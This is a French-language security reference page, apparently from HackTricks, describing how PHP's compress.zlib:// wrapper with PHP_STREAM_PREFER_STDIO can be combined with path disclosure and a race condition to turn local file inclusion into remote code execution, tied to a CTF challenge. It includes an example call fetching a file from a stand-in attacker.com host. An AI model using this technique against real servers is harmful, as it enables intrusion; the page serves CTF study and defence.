LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks:

compress.zlib:// et PHP_STREAM_PREFER_STDIO

Un fichier ouvert en utilisant le protocole compress.zlib:// avec le drapeau PHP_STREAM_PREFER_STDIO peut continuer à écrire des données qui arrivent à la connexion plus tard dans le même fichier.

Cela signifie qu'un appel tel que:

file_get_contents("compress.zlib://http://attacker.com/file")

Le serveur pourrait répondre à la requête avec une réponse HTTP valide, maintenir la connexion ouverte, et envoyer des données supplémentaires ultérieurement qui seront également écrites dans le fichier.

Vous pouvez voir cette information dans cette partie du code php-src dans main/streams/cast.c:

/* Use a tmpfile and copy the old streams contents into it */

if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

Course à la condition de course vers RCE

Ce CTF a été résolu en utilisant le tour précédent.

L'attaquant fera en sorte que le serveur victime ouvre une connexion en lisant un fichier depuis le serveur de l'attaquant en utilisant le protocole compress.zlib.

Pendant que cette connexion existe, l'attaquant exfiltrera le chemin vers le fichier temporaire créé (il est divulgué par le serveur).

Pendant que la connexion est toujours ouverte, l'attaquant exploitera une LFI chargeant le fichier temporaire qu'il contrôle.

Cependant, il y a une vérification dans le serveur web qui empêche le chargement des fichiers contenant <?. Par conséquent, l'attaquant exploitera une Condition de Course. Dans la connexion qui est toujours ouverte, l'attaquant enverra la charge utile PHP APRÈS que le serveur web ait vérifié si le fichier contient les caractères interdits mais AVANT de charger son contenu.

Pour plus d'informations, consultez la description de la Condition de Course et du CTF sur https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks:

Dernière mise à jour